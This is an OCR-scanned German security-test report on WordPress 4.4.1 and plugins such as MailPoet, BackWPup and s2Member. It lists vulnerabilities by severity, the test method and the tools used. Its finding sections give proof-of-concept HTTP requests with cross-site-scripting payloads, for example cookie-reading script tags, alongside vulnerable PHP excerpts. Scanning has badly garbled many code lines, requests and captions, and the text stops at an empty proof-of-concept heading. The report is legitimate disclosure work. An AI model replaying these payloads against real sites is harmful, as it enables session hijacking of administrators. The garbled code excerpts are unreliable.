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— _ Zusammenfassung 1
1  Zusammenfassung
11 Allgemeines

Dieses Dokument beschreibt die zusammengefassten Ergebnisse des Test and Integration Centers (TIC) der
T-Systems Multimedia Solutions GmbH zur durchgefiihrten Untersuchung des Content-Management-
Systems WordPress in der Version 4.4.1.

_@waresystem (CMS):- !WordPress

Versionsnummer: 44.1

Plugins: BackWPup (packwpup) v3.2.2
Frontend Uploader (frontend-uploader) v0.9.3
Jetpack (jetpack) v3.8.1

MailPoet Newsletters (wysija-newsletter) v2.6.19
s2Member Framework (s2member) v151210
User Role Editor (user-role-editor) v4.21.1

Hersteller: WordPress Foundation -
Art dc_er Tests: Sicherheitstest von Webanwendungen und IT-Systemen
Testlabor: Testand Integration Center
T-Systems Multimedia Solutions GmbH
Riesaer Str. 5
01129 Dresden
Testzeitraum: 04.01.2016 bis 12.02.2016

12 Zusammenfassung der Testergebnisse

121 Ubersicht der Testergebnisse

Kapitel Beschreibung Modul ] Risikofaktor |

6121 Cross-Site-Scripting in MailPoet MailPoet-Plugin | Schwer
form_widget_settings im Parameter page (wysija)

6.1.22 - | Cross-Site-Scripting in MailPoet Paginierung im MailPoet-Plugin. | Schwer
| Parameter page {wysija)

6.1.2.3 Cross-Site-Scripting in MailPoet Paginierung im MailPoet-Plugin | Schwer
Parameter pagi (wysija) |

6.124 Cross-Site-Scripting in BackWPup SugarSync BackWPup-Plugin | Schwer
Destination i

6.13 SQL-Injection in Newsletter-Aktivierung in MailPoet-Plugin | Schwer
Parameter wysiconf ' : {wysija)

6.1.2.5 Cross-Site-Scripting durch Newsletter- MailPoet-Plugin | Mittel
Abonnenten-Import (wysija)

614 Unverschliisselte Ubertragung von Login-Daten | WordPress Core | Mittel
iiber XML-RPC

6.15 Berechtigungstiberschreitung im XML-RPC WordPress Core | Mittel
|Dateiupload . -
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Kapitel Beschreibung Modul | Risikofaktor |

6.16 Potentielle Code Execution iiber s2Member-Plugin | Mittel
c_ws_plugin__s2member_utilities::evl()

6.7 s2Member Log-Datei ohne Authentifizierung szMember-Plugin | Mittel

6.18 Brute Force von Benutzerpasswértern iiber XML- | WordPress Core | Mittel
RPC

6.19.1 Directory Traversal in BackWPup Auftragslogs BackWPup-Plugin | Mittel

6.110 SQL-Fehlermeldung in MailPoet-Plugin MailPoet-Plugin | Mittel

I (wysija)
6111 Zugriff auf Daten im internen Bereich s2Member-Plugin | Mittel
6.19.2 Directory Traversal in wysija-Theme-Installation | MailPoet-Plugin Leicht
(wysija) .

6.19.3 Directory Traversal in wysija-newsletters MailPoet-Plugin | Leicht
generate_social_bookmarksf{) - (wysija)

6.1.94 Directory Traversal in Plugin-Aktualisierung WordPress Core | Leicht

6.1.12 Keine Password-Policy nativ implementierbar WordPress Core | Leicht

6113 Frontend-Session unverschliisselt WordPress Core | Leicht

6.1.14 Datenbank-Prifix in JavaScript-Code WordPress Core | Leicht

6.1.15. s2Member OAuth ohne SSLPeer-Validierung s2Member-Plugin | Leicht

6.116 Cacheable HTTP(S) Newsletter Exports MailPoet-Plugin | Leicht

| (wysija)_

6.1.17 Unauthentifizierter Zugriff auf Exporte von MailPoet-Plugin | Leicht
Newsletter-Daten (wysija)

6.118 Anmeldung fremder Abonnenten fiir den MailPoet-Plugin | Leicht
Newsletter i (wysija)

6.119 Schwache Hashfunktion in MailPoet MailPoet-Plugin | Leicht

) (wysija) . ll

6.1.20.1 Benutzer/E-Mail-Adressen Enumeration in WordPress Core | Leicht
Registrierung

6.1.20.2 Benutzer Enumeration in Login-Maske WordPress Core | Leicht

6.1.203 Benutzer/E-Mail-Adressen Enumeration in WordPress Core | Leicht
Passwort-Vergessen-Funktion

6.1.21 Enumerieren der installierten WordPress Version |WordPress Core | Leicht
und Plugins -

6122 Uploadgréfie bei XML-RPC WordPress Core | Leicht

6.123.1 Passwort-Vergessen-Funktion ohne WordPress Core | Leicht
autocomplete="off"

61232 Benutzername und Passwort ohne WordPress Core | Leicht
autocomplete="off"

6.1.24 Information Disclosure E-Mail-Adresse s2Member-Plugin | Leicht

622 E-Mail-Versand unverschliisselt Postfix SMTP Hinweis

Bundesamt fiir Sicherheit in der Informationstechnik
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1.2.2 . Bewertung des Sicherheitsniveaus
Ausgehend von den identifizierten Sicherheitsrisiken kann dem CMS WordPress ein mittleres
Sicherheitsniveau attestiert werden.

Im Rahmen des Sicherheitstests wurden mehrere Schwachstellen gefunden, die von einem Angreifer mit
wenig Aufwand ausgenutzt werden kénnen, um die Vertraulichkeit, Verfigbarkeit oder Integritit der
Anwendung oder deren Daten zu beeintrichtigen. Dariiber hinaus wurden Schwachstellen ermittelt, die fiir
die Informationsgewinnung und Planung von weiteren Angriffen hilfreich sein kénnen. d

Die folgenden identifizierten Schwachstellen sind adfgrund ihrer Kritikalitit besonders hervorzuheben:
*  Cross-Site Scripting in diversen Plugins
* 'SQL-Injection im Newsletter-Plugin wysija-newsletter
13 - Prifpunkte
Die in den folgenden Kapiteln dargestellten Priifpunkte und Sicherheitsaspekte wurden im Rahmen des
Sicherheitstests Gberpriift. Eine detaillierte Beschreibung findet sich in [1]
* Informationsbeschaffung
*  Test des Identititsmanagements
*  Test der Authentifizierung
* Test der Autorisierung
*  Test des Session Managements
*  Test der Eingabevalidierung
*  Testder Fehlerverarbeitung
*  Test clientseitiger Angriffsvektoren
»  Test CMS-spezifischer Angriffsvektoren
»  Uberpriifung der Hirtung von
. Betriebssystemn
*  Webserver
¢ Application Server
» Datenbank
*  laufzeitumgebung
¢ Content-Management-System

14  Vorgehen im Test
Das Vorgehensmodell baut auf dem Durchfithrungskonzept fiir Penetrationstests des Bundesamtes fiir
Sicherheit in der Informationstechnik auf und gliedert sich in 5 einzelne Phasen [2]:

1) Vorbereitung

2} Informationsbeschaffung

3) Bewertung der Informationen

4) Aktive Eindringversuche

Bundesamt filr Sicherheitin der Informationstechnik i
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5) Abschlussanalyse

Der genaue Ablauf des Tests wird erst wihrend der Durchfithrung auf Grundlagebder gewonnenen
Erkenntnisse bestimmt. Der modulare Aufbau dient der Konzentration der verfiigharen Ressourcen auf die
unter Sicherheitsgesichtspunkten wichtigsten Bereiche.

Die detaillierten Rahmenbedingungen des Tests und die zugrundeliegende Testumgebung sind in [1]
beschrieben. T

Nachfolgend werden die Ergebnisse der einzelnen Phasen beschrieben,

10 Bundesamt fiir Sicherheit in der Informationstechnik
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2 Phase1: Vorbereitung

Ziel der Vorbereitungsphase ist es, den Umfang, die Rahmenbedingungen und das grobe Vorgehen des
Sicherheitstests festzulegen, .

2.1  Informationsbasis

Ziel: Festlegung, welche Informationen und Dokumente zum Testobjekt zur Verfiigung stehen (Black-Box-
oder White-Box-Test). .

Ergebnis:
Der Test erfolgte grundsitzlich als Black-Box-Test. Da das CMS und die zugrundeliegenden

Systemkomponenten als Open Source zur Verfiigung stehen, wurden dem Angreifer jedoch entsprechende
Vorkenntnisse der verwendeten Komponenten und deren Standardinstallationen zugestanden.

Es wurde die Sicht eines externen Angreifers ohne Detailwissen iiber die Architektur eingenommen. Ein
potentieller Angreifer kann jedoch die bereitgestellten Dokumente und ggf. den Source Code detailliert
untersuchen, um potentielle Schwachstellen aufzudecken.

Im Rahmen des Tests wurden insbesondere die in Tabelle 1 aufgefithrten Dokumente herangezogen.

! Dokumentenbezeichnung - Dateiname/URI, Version / Stand
|WordPress Documentation https://codexwordpress.org/ R £
#Codex“

IWordPress Code Reference - :https://deve]oper‘wort_ipress.org/reference/ -

Tabelle 1: Dokumente

2.2 . Aggressivitit

Ziel: Festlegung der Aggressivitit und ob ausgehend von gefundenen Sicherheitsliicken nach weiteren
Licken gesucht werden soll. -

Ergebnis;

Aufgrund der Durchfiihrung des Tests in einer isolierten Testumgebung wurde ein aggressives
Testvorgehen gewihlt. Das heifit, es wurde versucht, alle potentiellen Schwachstellen auszunutzen.

2.3  Umfang und Testtiefe

Ziel: Definition des Umfangs, welcher beim Test einbezogen werden soll
Ergebnis:

Es wurde ein vollstindiger Test durchgefiihrt. Alle Komponenten der Testumgebung wurden einer
intensiven Priifung unterzogen,

24  Vorgehensweise und Sichtbarkeit

Ziel: Festlegung, wie ,sichtbar® beim Test vorgegangen wird,

Da keine Sicherheitssysteme oder -prozesse Testziel waren, wurden im Rahmen des Tests offensichtliche
Testmethoden angewendet.

Bundesamt fr Sicherheit in der Informationstechnik 1
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2.5 Technik

Ziel: Festlegung, welche Techniken eingesetzt werden sollen.

Ergebnis:

Im Rahmen des Sicherheitstests wurden Angriffe tiber das Netzwerk durchgefiihrt. Diese Vorgehensweise
simuliert einen typischen Hackerangriff. ’

2.6  Ausgangspunkt

Ziel: Festlegung, ob fiir den Test die Innen- oder Aufienperspektive oder beide eingenommen werden.
Ergebnis:

Hinsichtlich des Ausgangspunktes wurden beide Perspektiven eingenommen. Die Angriffe erfolgten von
auflen gegen das CMS und die gehirtete Testumgebung. Da zudem die Administrations- und-
Konfigurationsoberflichen des CMS genutzt und resultierende Wechselwirkungen mit der Umgebung
untersucht werden konnten, wurde dariiber hinaus auch eine Innenperspektive eingenommen.

2.7  Testsystem
Ziel: Festlegen, ob ein Testsystem oder Produktivsystem verwendet wird,
Ergebnis:

Die Tests wurden in einer dedizierten Testumgébung {je Szenario) durchgefiihrt Details zur Testumgebung
sind in (1] dokumentiert.

2.8 Testdaten

Ziel: Bestimmung der Testdaten, die bendtigt werden.
Exgebnis:

Zur Realisierung der in [1] dargestellten Einsatzszenarien mussten diverse Plugins installiert und Testdaten
generiert werden. Informationen zu den genutzten Plugins sind in [1] dokumentiert.

2.9 Testendekriterien

Ziel: Festlegung von Kriterien, nach denen der Test beendet werden kann.,
Exgebnis: ‘ . = .
Der Test wurde nach Untersuchung und Verifizierung aller in Kapitel 1.3 genannten Priifpunkte beendet.

2.10 Betrachtung rechtlicher Fragen

Ziel: Rechtliche Uberlegungen und Festlegung der Haftung fir mogliche Schiden.
Ergebnis:
Da es sich lediglich um ein Testsystern mit Testdaten handelte, waren rechtliche Aspekte nicht relevant. Im

Rahmen des Sicherheitstests identifizierte Schwachstellen wurden vertraulich an den Hersteller gemeldet
und nicht publiziert.

i Systems WordPress
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Phase 1: Vortereitung 2

2.11  Planung der Testdurchfiihrung

Ziel. Erstellung eines Plans zur Testdurchfﬁhruné.

Ergebnis;

Die Planung wurde im Rahmen des Testmanagements vorgenommen. Folgende Informationen kénnen
zusammengefasst dargestellt werden:

Phase

Datum

Durchfiihrung des Sicherheitstests

04.01.2016 bis 12.02.2016

Fertigstellung des Testberichts

01.03.2016

Tabelle 2: Testplan

2.12 - Werkzeugeinsatz

Folgende Werkzeuge zur Unterstiitzung des Testprozesses wurden im Projekt eingesetzt:

Werkzeug Hersteller Einsatzgebiet Nut_zerkreis
LibreOffice Writer The Document Testdokumentation Projektteam
Foundation
Jira Atlassian Ticketsystem Projektteam
Burp Suite Professional | Portswigger i Intercepting Proxy Testteam
Firefox - Mozilla Foundation | Browser Testteam
Checkmarx Suite Checkmarx | Code-Analyse Testteam
wpscan WPScan Team | Durchsuchen von Testteam
Standard-Dateien von
WordPress-
| Installationen
|nmap Gordon Lyon | Port-Scan Testteam
sslscan lan Ventura-Whiting, | SSL-Analyse Testtearn
Jacob Appelbaum, rbsec |
sslyze iSECPartners ' SSL-Analyse Testteam
Nessus Tenable | Schwachstellen-Scanner | Testteam
. | auf Netzwerkebene
‘WeblInspect HP ' Schwachstellen-Scanner | Testteam
| auf Applikationsebene
Eclipse Eclipse Foundation Untersuchung des Codes | Testteam
Nikto CIRT - ' Schwachstellen-Scanner | Testtearn
|auf Applikationsebene
ChromePhp Craig Campbell Debug-Ausgaben in PHP | Testteam
PuTTY Simon Tatham, Owen SSH-Verbindung zum Testteam
Dunn, Ben Harris, Jacob  |Server
Nevins
| tepdump Van Jacobson, Craig Netzwerk-Analyse auf Testteam

Bundesamt fiir Sicherheit in der Informationstechnik
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[ Werkzeug Hersteller Einsatzgebiet Nutzerkreis
: Leres, Steven McCanne  |dem Server |
| Wireshark Gerald Combs Grafische Auswertung Testteam
der tcpdump-Ergebnisse
sqlmap Bernardo Damele *| Detektion und Testteam

Assumpcao Guimaraes, Ausnutzung von SQL-

Miroslav Stampar Injections
1 Bund ftir Sicherheit in der Informati hnik
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3  Phase 2: Informationsbeschaffung

Innerhalb der Phase der Informationsbeschaffung werden Informationen iiber das Ziel gesammelt und
ausgewertet. Weiterhin wird nach Informationen gesucht, die das System iiber sich preisgibt.

3.1 Auswahl der Testmodule

Ziel: Sicherstellung der Durchfithrung aller relevanten Tests (unter Beriicksichtigung der wirtschaftlichen
Machbarkeit).

Ergebnis;

Im Rahmen der Voriiberlegungen wurden die in Kapitel 1.3 genannten Priifpunkte identifiziert, Durch die

Verifizierung dieser Punkte wurde sichergestellt, dass alle relevanten Komponenten des Gesamtsystems
(CMS, Betriebssystem, Webserver, Applikationsserver, Datenbank) hinreichend getestet wurden.

3.2 Priifung der Testmodule

Ziel: Sicherstellen, dass der Test dem aktuellen Stand der Technik entspricht
Ergebnis:

Die in Kapitel 1.3 genannten Priifpunkte wurden anhand der aktuellen Dokumentation bzw. aktueller
Richtlinien zur Durchfithrung von Sicherheitsanalysen abgeleitet {vgl. [1]).

Bundesamt fir Sicherheit in der Infermationstechnik
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4  Phase 3: Bewertung der Informationen

Um das weitere Vorgehen zu planen, werden die bisher gesammelten Informationen bewertet und das
Risiko abgeschitzt. Bereiche des Testobjekts, von denen ein besonders grofies Risiko ausgeht, sollen
besonders griindlich untersucht werden, wiihrend andere Bereiche weniger oder gar nicht untersucht
werden. Ziel dieser Phase ist die Identifikation kritischer Bereiche der Anwendung und davon abgeleitet die
Auswahl der durchzufiihrenden Testfille. .

41 Kritische Bereiche und erreichbare Ziele

Ziel: Herausfinden, wo Angreifer ansetzen und was sie erreichen kénnten.

Im Rahmen der Beschreibung der Einsatzszenarien in [1] wurden typische Missbrauchsszenarien
spezifiziert. Diese dienten als Grundlage fiir die Durchfithrung der Sicherheitstests und die Definition der
besonders kritischen und intensiv zu testenden Bereiche.

Hiérzu zihlen insbesondere die Méoglichkeiten zur Authentifizierung und der Interaktion.
4.2 . Zugriffspfade

Ziel: Herausfinden, in welchen Schritten Angreifer vorgehen kénnten.
Ergebnis:
Fir die in [1] dargestellten Einsatzszenarien ergibt sich der typischen Zugriffsweg eines Angreifers von

auflen (im Allgemeinen iiber das Internet). Dementsprechend wurde im Rahmen des Sicherheitstests
insbesondere dieser Weg untersucht und typische Angriffsszenarien von aufien untersucht.

Aufgrund des in Kapitel 2.1 dargeste]lten Testansatzes wur&en dariiber hinaus interne Mechanismen
gepriift. Dies entspricht_dem Vorgehen eines Angreifer, der ggf. schon teilweisen Zugriff erhalten hat und
versucht, weitere Komponenten zu kompromittieren.

4.3  Beschreibung der Priifpunkte

Ziel: Planung der Testschwerpunkte und Durchfithrung,
Ergebnis:
Die in (1] definierten Priifpunkte wurden im Rahmen des Sicherheitstests gepriift.

Anhand der definierten Vorgehensweise wurden die relevanten Testfille an der Anwendung abgearbeitet
und erwartete Bedrohungsszenarien inszeniert. Die Testschritte wurden in ihrer Durchfithrung mit jhren

- Ergebnissen, erweitert durch Screenshots, dokumentiert. Das gesammelte Material bildete die Basis fir
detailliertere Testschritte und abschliefende Berichte. ’

16 Bundesamt fiir Sicherheit in der Informationstechnik
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5  Phase 4: Aktive Eindringversuche

Die zuvor ausgewihlten Testmodule bzw. die daraus abgeleiteten Testfille werden in dieser Phase
ausgefiihrt, und es wird aktiv versucht, in das System einzudringen. Bei der Reihenfolge der Ausfithrung deér
Testmodule ist neben der zuvor festgelegten Prioritit zu beachten, dass die Testergebnisse bestimmter
Testmodule eine Voraussetzung oder gute Ausgangsposition fiir weitere Testmodule sein kénnen, Wihrend
des Tests wird ein Pfad abgeschritten, in dem ein Modul die Voraussetzung fiir ein folgendes Modul schafft.
Wihrend des Tests kénnen aufgrund der Erkenntnisse weitere Testmodule ausgefihrt werden. -

Bundesamt fUr Sicherheit in der Informationstechnik . Y
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6  Phase 5: Abschlussanalyse

In diesem Kapitel werden die identifizierten Sicherheitsliicken (gruppiert nach Systemkomponente) und die
resultierenden Risiken beschrieben.

6.1  Content Management System
6.1.1 Zusammenfassung

Die folgenden Beschreibungen zeigen, dass die kritischen Schwachstellen vorwiegend in Plugins zu finden
sind. Der WordPress Core (Basis-Installation ohne Plugins und Themes) hingegen zeigt keine kritischen
Schwachstellen auf. Jedoch sind auch hier Problerne zu finden, die meist keine Programmierfehler sind,
sondern eher aufgrund fehlender Sicherheitsfeatures bestehen,

Bei der Betrachtung der Implementierung filit auf, dass die WordPress-Sicherheitsfeatures wie z. B. der
nonce-Parameter von den Plugins explizit angesprochen werden miissen und nicht direkt an Plugins
vererbt werden. Damit bleibt es den Plugin-Entwicklern iiberlassen, ob sie derartige Features verwenden,

6.1.2  Cross-Site-Scripting

Beschreibung:

Mit Cross-Site-Scripting (X5$) wird das Einschleusen von bésartigem HTML- und JavaScript-Code in eine
Webseite bezeichnét. Ein derartiger Angriff ist méglich, wenn eirie Webanwendung nicht
vertrauenswiirdige Daten entgegennimmt und ohne ausreichende Validierung bzw. Codierung an einen
Webbrowser sendet, XS$ erlaubt es einem Angreifer somit, JavaScript Code im Browser eines Opfers
auszufithren, um z. B. Sessions zu iibernehmen, Seiteninhalte zu verindern oder den Benutzer auf eine
bésartige Seite umzuleiten. HTML-Codierung ist der grundsitzliche Schutzmechanismus gegen diese
Angriffe. Viele Frameworks bzw. Sprachen stellen hierfiir entsprechende Funktionen zur Verfiigung.

Beim persistenten Cross-Site-Scripting schleust ein Angreifer JavaScript Code in Eingabefelder, welche von
einer Daténbank gespeichert und zu einem spéteren Zeitpunkt von der Webanwendung wieder ausgelesen
werden (Beispiele dafiir sind Kommentarfunktionen oder Benutzernamen). Der gefihrliche Code. wird
somit persistent in der Datenbank hinterlegt und bei jedem Benutzer, der die Seite aufruft, ausgefiihrt. Ein
Angreifer hitte somit die Méglichkeit, grofiflichig Benutzerdaten abzugreifen.

Mafinahme:

Mindestens folgende HTML-Metazeichen miissen in normale Klartextzeichen umgewandelt werden:

* & > Zamp;
* " 2  &quot;
¢ > &3
e < > &l

* > > &g

Sollten Daten im JavaScript-Kontext ausgegeben werden, sind folgende Faktoren zu beachten:

¢ Sicherstellen, dass alle JavaScript-Variablen in Hochkommata setzt sind,
* JavaScript Hex Encoding,
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* JavaScript Unicode Encoding'und Y
* Vermeiden von Backslash Encoding (\" oder \' oder .

6121  Cross-Site-Scripting in MailPoet form_widget_settings im Parameter page
Betroffenes Modul: MailPoet-Plugin (wysija)

Ergebnis:

Im Plugin wysija kénnen iiber ein Form-Widget Einstellungen vorgenommen werden, Hierbei kann
theoretisch durch den Parameter page beliebiger Code in die Server-Antwort eingeschleust werden. Da
dieser GET-Parameter aber zur Identifizierung des aufzurufenden Plugins genutzt wird, fithren
Manipulationen an diesem Parameter zu einer Fehlerseite. ]

Stattdessen kann bei einem geeigneten Request zusitzlich ein POST-Parameter mit demselben Namen page
hinzugefiigt werden. Da an den unsicheren Stellen im Code nicht auf $_GeT, sondern auf $_REQUEST
verwiesen wird, kann ebenso der POST-Parameter verwendet werden. . ]

Somit ist es méglich, durch Anhingen des POST-Parameter page mit einem geeigneten Wert HTML- und
JavaScript-Code einzuschleusen.

Wie der Code-Auszug zeigt, wiire theoretisch auch der Parameter action zum Einschleusen von Code
geeignet. Hierbei wird dieser Parameter jedoch generell per $_REQUEST zum Identifizieren der Aktion
verwendet, so dass Manipulationen an diesem Parameter nicht mehr die gewiinschte Code-Stelle erreichen
wiirden, a )

Da dieses Plugin nur durch Administratoren {Berechtigungen fiir den Zugriff auf das Plugin) aufgerufen
werden kann, ist die Anzahl der potentiellen Cross-Site-Scripting-Opfer recht gering.

Das Szenario wire, dass ein Angreifer einem angemeldeten Administrator den obigen Request ausfithren
lasst. Dies kann z. B. durch Aufruf einer préiparierten Seite geschehen, wie es bei Cross-Site Request Forgery
genutzt wird. ' ‘ '

Proof of Concept:

Originaler GET-Request:

GET /wp-admin/admin.php?

action=fom_widget__sett1ngs& 8 ---=wysijahconfig&field_id=0&type=input HTTP/1.1

Host: deb-wordpress-scenariod-local

User-Agent: Mozilla/S.0 (Windows NT €.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0

Connection: close

Manipul_ation zu POST-Request mit zusitzlichem page-Parameter:

POST /wp-admin/admin.php?
act1on=form_widget_settings&' J =wyslja_conf:.g&field~1d=0&type=input HTTP/1.1
Host: deb-wordpress-scenarici-local

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0

Caonnection: close
Content~Type: application/x—www~form-urlencoded
Content-Length: 64
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Response-Auszug:

<input type="hidden” name="action" value="form widget_settings" Ve
<input type="hidden" name="page" )

‘[value=2222a\tscyrs nraa dars IETeIng . Fromtia eQuan' RN, B3, BN 1) ! Sz iptsr ' />

PHP-Quellcode:

wp-content/plugins/wysija-newsletters/views/back/config.php

<form id=f'fleld-settings—fo-ni\"Tethod-:'@lﬂ.!' ‘action="">
<input type="hidden” name="action” value="<iphp scho
$_REQUEST['action’l; 2>" />
- <input type="hidden” name="pags" value="<Iphp sahn:
S FEQURAT[*pagw 'l 17 /> o
» . <input type="hidden" name="field id“ value="<Tphp echa nt)
sdutal!tield 2d')s % />
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Screenshot:

) Leremipiom s Uploads—.. =

et s

1 detrwordpress-scenariod-tocal geleren

Abbildung 1: Erfolgreiche Ausfhng von Javcn‘p—Code Giber den PTParamr
Risikofaktor: Schwer

6.1.22  Cross-Site-Scripting in MailPoet Paginierung im Parameter page
Betroffenes Modul: MailPoet-Plugin (wysija)
Ergebnis:

Die Seiten-Blitter-Funktion (Pagination) des wysija-Plugins ist anfallig fiir Cross-Site-Scripting-Angriffe.
Durch den Parameter page kann theoretisch beliebiger Code an vielen Stellen der Server-Antwort
eingeschleust werden. Da dieser GET-Parameter aber zur Identifizierung des aufzurufenden Plugins genutzt
wird, fihren Manipulationen an diesem Parameter zu einer Fehlerseite. Stattdessen kann bei geeigneten
Pagination-Requests zusétzlich ein POST-Parameter mit demselben Namen page hinzugefiigt werden. Da
an den unsicheren Stellen im Code nicht auf $_GeT, sondern auf $_REQUEST verwiesen wird, Kann ebenso der
POST-Parameter verwendet werden.

Somit ist es mdglich, durch Anhéngen des POST-Parameters page mit einem geeigneten Wert HTML- und.
JavaScript-Code einzuschleusen.

Da dieses Plugin nur durch Administratoren (Berechtigungen fiir den Zugriff auf das Plugin) aufgerufen
werden kann, ist die Anzah! der potentiellen Cross-Site-Scripting-Opfer recht gering. .

Das Szenario wire, dass ein Angreifer einem angemeldeten Administrator den obigen Request ausfithren
lasst. Dies kann z. B. durch Aufruf einer priparierten Seite geschehen, wie es bei Cross-Site Request Forgery
genutzt wird. '
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Proof of Concept:

Beispiel-Request:

POST /wp-admin/admin. php?paqe=wysija_subscribers HTTP/1.1
Host: deb-wordpress—scenariod-local
Connection: ¢lose

Content-Type: application/x-www—-form-urlencoded
Content-Length: 315

wysija*5Bfilter‘_—5Dz5Blink_filter’tSD=all&search= &émethod=&_wp_http referer=:2Fwp-admin
“2Fadmin.php- 3Fpage- 3Dwysija_subscriberséwysijas5Bfilters5D. S5Bfilter list
%5D=&pagi=:2&pagimax=5&wys;j 2.5Buser 5D-5Btimestamp

'*5D=1456044106s.limit__ppxs&:aaw—vyu;-_:ubn.:nbonnﬂ! "caaripradlare (Bteing, froechasColdn
(B8 WYY </ meripe>

— .

Response-Auszug:

Kdiv clans="tablenav-pagek®-<a clans>"preyv page=-nunbers™ hrefwTaduin, phpd

paga=wyss Im hunAcciners22 R\ M-Cscraptralert {Erring. !ru_ulw.:harf.'os_t (80 RE.63) ) </m=rsptaspagi
=“1M alee " girle="Saits 15 =élaauos </ar<input {d=*uwyalja-paginatlon™ Lypa="text”
Rameshagl® slzeai® valyewPe ficinpur L= uynln~paginat Lon-max™ type="hidden*
name="pagimpi® value="5" f3><span claps="tatal-pages”>von Y</span><n clana="next page-
humbera” href="admio.php?

page=wysiie subarribers2222\"scarriptaalert (Srr 1ng. fromCharCode |08, 83, 83) J<facelptrapagl
=3% alt="a" title="Suitcs 3">&rsaquo:</aria clars="naxt Phge-numbera” hrefw"adtiin. php?
Pagesuysiia wobacriboraZRld\ ">ceoriptralert (String. fro=Chardeds (60, 83,93 1</messptsapagi
=5" mit="5" gliloe"Seite 5" >&raque; <farcidiv>

PHP-Quellcode:

wp-content/plugins/wysija—news]etters/views/back.php

if ($current_page != 1) {

Tpagi '<a class="prev page~numbers” href="admin.php?page="'.
5 oHEQHERT | ‘paga '], '&pagi=1'.Sparamsurl.'" alt="1" title="’, sprintf{(_ ('Page
*1%s',WYSIJA), 1) . "">slaquo;</a>";

if ($current page>2) {

Speds .= '<a class="prev page-numbers" href="admin.php?page="_

B REQUENY| ‘paget]. 'épagi='. (§current_page-1).Sparamsurl.'" alt="" . {Scurrent_page-1) . '"
title="'.sprintf{_ ('Page z13s’',WYSIJA) , ($current_page-1)).'" >&lsaquoi</a>",

}

}

if{$number of pages > 1 && $current_page != Snumber_of_pages) {
1f (($number of pages — $current_page) >= 2) {
Skl .= '<a class="next page-numbers” href="admin.php?page=".

5 REQUEERT! 'paga’] '&pagi=". ($current_page+1) .Sparamsurl. '™ zlt="". ($current_page+l).'"
title="'.sprintf(_ ('Page -1$s',WYSIJA) s (Scurrent_page+1))." ">grsaquo;</a>";

}

IPNiL = '<a class~"next Page-numbers” href="admin.php?page=".
5 REQUEIT["page*]. ' spagi='.$number of pages.$paramsurl.'" alt="' . $number_of_pages.'"
title=""'.sprintf {__{'"Page «1$s',WYSIJA}, $number_of pages),'™ >&kraquo;«/a>’;

1

echo Fpmgr;
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Screenshot;

X3z
I Dlesa Ssken daren hindem, wettere Ciatoge v dfinen

=0

Gen-wardpress-scenaiod-loca! geiesen

Abbildung 2: Erfolgreiche Ausfiihrung von JavaSm'pt—e iiber den POST -Pametzr page
Risikofaktor: Schwer ’

6.1.2.3 . Cross-Site-Scripting in MailPoet Paginierung im Parameter pagi
Betroffenes Modul: MailPoet-Plugin (wysija)
Ergebnis:

Die Seiten-Blatter-Funktion (Pagination) des wysija-Plugins ist anfillig fiir Cross-Site-Scripting-Angriffe.
Durch den POST-Parameter pagi kann HTML- und JavaScript-Code eingeschleust werderi.

Da dieses Plugin nur durch Administratoren (Berechtigungen fiir den Zugriff auf das Plugin) aufgerufen
werden kann, ist die Anzahl der potentiellen Cross-Site-Seripting-Opfer recht gering.
Das Szenario wire, dass ¢in Angreifer einem angemeldeten Administrator den obigen Request ausfiihren

lasst. Dies kann z. B. durch Aufruf einer préparierten Seite geschehen, wie es bei Cross-Site Request Forgery
genutzt wird. '

Proof of Cohcept:
Beispiel-Request:

FOST fwp—adm: ‘n."'ﬁ'ﬂiﬂn;ﬁhp?page-wysija_campaigns&id=3&actioq==;ieifst_éf:s_HTTP/1l'l i
Host: deb-wordpress~scenariod-local |

Connection: close H

Content-Type: application/x-www-form-urlencoded
Content—Leng?_:h; 176
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PHP-Quellcode:

wp-content/plugins/wysija-newsletters/views/back php

Screenshot:
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Abbildung 3: Erfolgreiche Ausfihrung von JavaScript-Code iiber den POST-
Risikofaktor: Schwer

Parameter pagi

6.1.24  Cross-Site-Scripting in BackWPup SugarSync Destination
Betroffenes Modul: BackWPup-Plugin
Ergebnis:

Im Plugin BackWPup kann als Ziel des Backups SugarSync angegeben werden. Dies muss jedoch erst
konfiguriert werden, z. B. durch Angabe der Zugangsdaten. Dabei werden die eingegebenen Zugangsdaten aus
den POST-Parametern in die Eingabefelder ohne entsprechendes Escaping eingesetzt; so dass eigener HTML-
und JavaScript-Code eingeschleust werden kann. :

Da dieses Plugin nur durch Administratoren (Berechtigungen fiir den Zugriff auf das Plugin) aufgerufen werden
kann, ist die Anzahl der potentiellen Cross-Site-Scripting-Opfer recht gering.

Das Szenario ware, dass ein Angreifer einem angemeldeten Administrator den obigen Request ausfiihren lasst.

Dies kann z B. durch Aufruf einer praparierten Seite geschehen, wie es bei Cross-Site Request Forgery genutzt
wird. '

Proof of Concept:

Beispiel-Request:
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sugaremnilefon " acriptoalect (document. cookie) </ erlpt>isugarpais=bar meaiziptSxloct (doc

ument. Sookig) £/ soripts

PHP-Quellcode:

wp-content/plugins/backwpup/inc/class-destination-sugarsync.php

public function edit_tab({ $jobid ) {
2>
<input id="sugaremail™ name="sugaremail” type="text" ]
value="<?php if { isset( $_POST[ 'sugaremail'
1) 4 ache 3 POST] “sugacemail’ |;3>v class="large-text" autocomplete="off" /></label>
<br/>
<label for="sugarpass"><?php _e( 'Password:", ‘backwpup' }: ?><br/>
<input id="sugarpass"” name="sugarpass” type="password"
value="<?php 1f
( 1sset( $_POST[ 'sugarpass' ] } ) w-to I_FOSTT ‘sugarpasw’ Jr3>" class="large-text"
-lautocomplete="off" /></label>
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Screenshot:

| Datel Bestbeiten Ansicht Cheanik Leszmifin g il
-, i " T 5 o
L Sdidnee job s Loren g, w

Wo-Baving-uste3TT-aved; wp-settings-

Wp-satings-
6posts_fist
WP-Satings-Hme-1321454036440; wordprass_test_cookis=\WP+Caokia schack

Risikofaktor: Schwer

61.25  Cross-Site-Scripting durch Newsletter-Abonnenten-Import
Betroffenes Modul: MailPoet-Plugin (wysija)
Ergebnis:

Der Administrator kann Abonnenten fiir den Newsletter importieren, Dabei kdnnen die zu importierenden
Daten entweder im CSV-Format in ein Textfeld eingegeben werden oder tiber eine hochgeladene Datei
‘importiert werden. '

Uber beide Wege ist es mébglich, Werte zu {ibergeben, welche HTML- und JavaScript-Code (z .B.

sscript>alert(1)</scripty) enthalten. Diese Werte werden anschlieRend ohne Escaping auf der
Ubersichtsseite der Abonnenten reflektiert,

Proof of Concept:

